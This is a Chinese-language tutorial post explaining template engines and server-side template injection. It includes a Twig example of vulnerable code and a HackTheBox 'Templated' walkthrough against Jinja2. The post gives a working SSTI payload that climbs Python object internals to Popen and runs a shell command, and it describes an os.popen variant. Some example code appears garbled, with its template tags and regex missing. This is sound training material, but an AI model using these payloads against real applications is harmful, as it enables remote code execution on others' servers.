摘要:是为了使用户界面和 业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的HTML代码,模板引擎会提供一套生成HTML代码的程序,之后只需获取用户的数据,放入渲染函数,该数据便会嵌入生成好的HTML页面中,然后反馈给浏览器,呈现在用户
模板引擎(Web开发中)
是为了使 用户界面和 业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的HTML代码,模板引擎会提供一套生成HTML代码的程序,之后只需获取用户的数据,放入渲染函数,该数据便会嵌入生成好的HTML页面中,然后反馈给浏览器,呈现在用户面前
当前的主流框架,一般都采用MVC模式,即:Model-View-Controller,用户的输入先进入Controller控制器,然后根据清流类型和请求的指令发送给对应的Model业务模型,由Model层进行业务逻辑的判断、数据库的存取等,最后把结果返回给View视图层,再经模板引擎的渲染展示给用户
模板引擎的基本机理就是替换(转换):将指定的标签转换为需要的业务数据;将指定的伪语句按照某种流程来变换输出
引用一段代码来简单说一下:
// 模板 var template = '
Hello,my name is .I am years old.
'; // 用于匹配的正则 /* 用于过滤出以结尾,并且中间不包含%或>的匹配项 其目的在于过滤出template中的 和 */ var regex = //g; // 数据 var data = { name:'Deutsh', age:22 } // 模板引擎 var TemplateEngine = function (template,data) { // exec使用全局正则表达式意味着在循环中使用,因为它仍然会检索所有匹配的子表达式 // /regex/.exec仅返回找到的第一个匹配项 while (match = regex.exec(template)) { template = template.replace(match[0],data[match[1]]) } return template; } // 最终的执行在此处 var string = TemplateEngine(template,data) console.log(string)上述代码,我们的目的是:将数据文件中对应的name和age替换到模板文件中
之后template = template.replace(match[0],data[match[1]])等同于template = template.replace("",data["name"])完成模板中数据的替换
SSTI(模板注入)Server-Side Template Injection
由前面模板代码安利的演示,我们可以发现,若服务端接受了用户的输入后(比如对于上述案例,data的name和age的数据由数据的输入/提交/请求而得),未经任何处理就将其作为Web应用模板内容的一部分,就会导致模板引擎在进行目标编译渲染的过程中,执行了用户插入的可执行语句,从而可能导致信息泄露、代码执行等问题
凡是使用模板的地方,SSTI是绕不过的问题,模板引擎可由多种语言实现,所以SSTI也就出现在了多种语言环境中
模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。
常见的模板引擎
模板引擎众多,各个模板引擎的语法也不尽相同,我们最主要的是能定位出是否存在SSTI漏洞,至于后续的利用,我们掌握一些,其余的见到再查即可
如何测试是否存在SSTI
简单来说,就是更改请求参数使之承载含有模板引擎语法的 Payload,通过页面渲染返回的内容检测承载的 Payload 是否有得到编译解析,有解析则可以判定含有 Payload 对应模板引擎注入,否则不存在 SSTI
此处我们拿来bmjoker师傅提供的一段示例代码
Twig模板引擎示例代码
render("Hello {{name}}", array("name" => $_GET["name"])); // 将用户输入作为模版变量的值 echo $output; ?>
这段代码中,由于模板引擎一般都会默认对渲染的变量值进行编码和转义。所以一般情况下并不会存在XSS等攻击的可能
若就如我们最开始的例子所说,若模板引擎渲染的内容受我们控制了,就不一定了
// 上述代码基本内容不变,$output后的内容发生变化 $output=$twig->render("Hello {$_GET['name']}");// 将用户输入作为模版内容的一部分
对于Twig模板的变量{{%s}}除了传递变量外,还可以执行表达式,最简单的表达式就是{{2*2}},这也是辨认是否存在SSTI最基本的指纹,若我们输入{{2*2}},HTML页面返回其其结果4,就说明该表达式被解析,存在SSTI
HackTheBox–Templated
我们以HTB上的一个靶场来演示一下该漏洞的判断与利用
IP:Port题目直接提示我们本体使用的模板引擎为**Jinja2**,根据我们之前总结的各个模板引擎的变量类型,我们可以知道该变量的类型是{{%s}},所以话不多说我们直接拼接尝试
payload
2*2被计算,确认存在SSTI模板注入
exp
该函数会执行fork一个子进程执行command这个命令,同时将子进程的标准输出通过管道连接到父进程,对于文件在父进程调用read读取即可,对于命令在父进程会被执行
Popen这个函数所属的类,一般有两种方法,我们先说第一种
由于我们想要找的是一个子类,所以第一步即使找到其对象基类 即class 'object',为了达到这步,我们可以使用__mro__{{"".__class__.__mro__}}其中__class__用于返回调用的参数类型
可以看出该子类继承自class'str'与class 'object'并以一个元组返回,我们通过索引获得对象类
{{"".__class__.__mro__[1]}}接下来,我们要列举出所有集成自object的子类,通过对该对象调用__subclasses__方法
{{"".__class__.__mro__[1].__subclasses__}}
但这有一个明显的缺点就是,好家伙,这么多子类,怎么可能找得到,为了缩小范围我们对其进行切片
成功定位其位置,处于滴414号位置
然后我们为该函数传递参数调用即可
Popen.communicate
与进程交互:将数据发送到标准输入。从 stdout 和 stderr 读取数据,直到到达文件结尾
{{"".__class__.__mro__[1].__subclasses__[414]("cat flag.txt",shell=True,stdout=-1).communicate}}
Python中常用的一些魔术方法
__class__:返回调用的参数类型
__mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。 寻找基类
__bases__:返回类型列表 寻找基类
__subclasses__:返回object的子类
__init__:类的初始化方法
__globals__:函数会以字典类型返回当前位置的全部全局变量 与func_globals等价
exp2
在Python中,有一个内建模块,该模块中有一些常用函数;而该模块在Python启动后、且没有执行程序员所写的任何代码前,Python会首先加载 该内建函数到内存
使用内建模块中的__import__引入os库,并适用其中的popen函数读取flag.txt即可
注意:
我们使用burp将子类的选择加为参数进行爆破
以下为不可以使用的(由此可看出号往大了写就对了~)
来源:灵感蓄水池